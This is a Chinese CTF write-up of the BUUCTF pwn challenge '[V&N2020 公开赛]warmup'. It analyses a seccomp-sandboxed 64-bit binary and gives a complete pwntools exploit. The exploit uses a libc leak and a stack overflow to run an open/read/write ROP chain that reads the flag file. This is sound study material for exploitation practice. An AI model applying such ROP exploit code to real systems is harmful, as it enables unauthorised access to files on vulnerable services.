[V&N2020 公开赛]warmup

附件

步骤:

  1. 例行检查,64位程序,除了canary,其他保护都开

  2. 本地运行一下,看看大概的情况

  3. 64位ida载入,从main函数开始看程序

    看到程序将puts函数的地址泄露给了我们
    sub_84D()函数里面是prctl函数的沙箱机制

    可以利用seccomp-tools工具来查看一下限制了哪些函数

    禁止了execve和fork syscall,
    关于seccomp-tools工具的安装和使用看这篇文章,关于prctl函数可以看一下这篇文章

  4. sub_9D3()函数,第一个输入点,没什么漏洞

    sub_9A1()函数,第二个输入点,可以溢出16字节,也就是我们正好只能覆盖到ret

    但是这个函数在调用 sub_9D3 函数的之前没有任何东西入栈
    调用 sub_9A1 的返回地址入栈,覆盖完返回地址,下个8字节又正好是我们上次输入的东西,所以两次输入可以连起来,作为一个ROP链

  5. 一般沙盒类型的题目都不会禁掉open,read,write这三个函数,我们可以想办法在程序中读出flag,并输出,从而得到flag

64位程序,传参要用到寄存器,题目已经给了我们libc版本,现在libc里找到设置他们值的指令的相对地址



然后还有一个问题,那就是将flag读到哪里是个问题,在查阅了其他师傅写的wp之后总结了一下

1. libc.[‘environ’],是libc存储的栈地址
2. libc.address + 0x3C6500 和 libc.address + 0x3C6700,是位于libc的bss段
3. __free_hook ,__free_hook是全局变量,可以直接被修改

搞清楚上述的内容后,开始写exp

from pwn import *

r=remote('node3.buuoj.cn',27182)
libc=ELF("./libc-2.23.so")
context.log_level='debug' r.recvuntil("0x")
puts_addr=int(r.recv(12),16) libcbase_addr=puts_addr-libc.symbols['puts'] pop_rdi_ret=libcbase_addr+0x21102
pop_rsi_ret=libcbase_addr+0x202e8
pop_rdx_ret=libcbase_addr+0x1b92 open_addr=libcbase_addr+libc.symbols['open']
#free_hook=libcbase_addr+libc.symbols['__free_hook']
libc_bss =libcbase_addr+0x3c5720
read_addr=libcbase_addr+libc.symbols['read']
#puts_addr=libcbase_addr+libc.symbols['puts']
write_addr=libcbase_addr+libc.symbols['write'] # 写入read函数的调用,之后我们传入‘flag’这4个字符,作为下面open,read,write的文件名
payload = p64(0) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
# 写入open函数的调用,打开名为‘flag’的文件
payload += p64(pop_rdi_ret) + p64(libc_bss) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# 写入read函数的调用,读出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
# 写入write函数的调用,打印出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr) r.sendafter("Input something: ",payload)
r.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
r.send("flag")
r.interactive()

[BUUCTF]PWN——[V&N2020 公开赛]warmup的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  6. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  7. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  8. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

  9. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

随机推荐

  1. 一文了解Docker基本概念

    一.何为Docker Docker 是一个用于开发.交付和运行应用程序的开放平台,Docker 使您能够将应用程序与基础环境分开,以便您可以快速交付软件.借用百度百科的话来说,Docker 是一个开源 ...

  2. [Comet1790]Ternary String Counting

    令$f_{i,j,k}$表示前$i$个位置,三种字符最后一次出现的位置为$i,j$和$k$(保证$k<j<i$)的方案数 考虑转移(递推),即分为两步-- 1.填写第$i$个字符,即从$f ...

  3. [loj3524]钥匙

    由于到达关系具有传递性,可以考虑不断将若干个可以相互到达的点缩点,并且当两个点只能单向到达时,能到达另一个点的点一定不是最小值 由此,我们来考虑dfs,即不断从一个节点开始,遍历其可以到达的点,当发现 ...

  4. [gym103055H]Grammy and HearthStone

    题目即要求构造一个长为$2n$的序列$a_{i}$,满足$\forall 1\le i\le n$,$i$恰好出现两次,假设分别是$a_{x}=a_{y}=i(x<y)$,即要求$y-x=i$ ...

  5. [bzoj1190]梦幻岛宝珠

    根据$2^b$分组,组内处理出g[i][j]表示当容量为$j\cdot 2^{i}$且只能选b=i时最大价值,再组间dp用f[i][j]表示当容量为$j\cdot 2^{i}+(w\&(2^{ ...

  6. [atAGC006D]Median Pyramid Hard

    二分答案,考虑答案是否会大于等于这个mid,显然所有数值分为两类:大于等于mid和小于mid将n个数转化为01串,如果0和1不相邻,那么答案就是第一个数/最后一个数(一定会相同),考虑有连续两个0/1 ...

  7. set比较大小

    #include <iostream> using namespace std; #include <set> class Person{ public: Person(str ...

  8. JVM的Xms Xmx PermSize MaxPermSize区别

    Eclipse崩溃,错误提示:MyEclipse has detected that less than 5% of the 64MB of Perm Gen (Non-heap memory) sp ...

  9. idea文件多行显示

    将红色部分取消勾选

  10. 联盛德 HLK-W806 (一): Ubuntu20.04下的开发环境配置, 编译和烧录说明

    目录 联盛德 HLK-W806 (一): Ubuntu20.04下的开发环境配置, 编译和烧录说明 联盛德 HLK-W806 (二): Win10下的开发环境配置, 编译和烧录说明 联盛德 HLK-W ...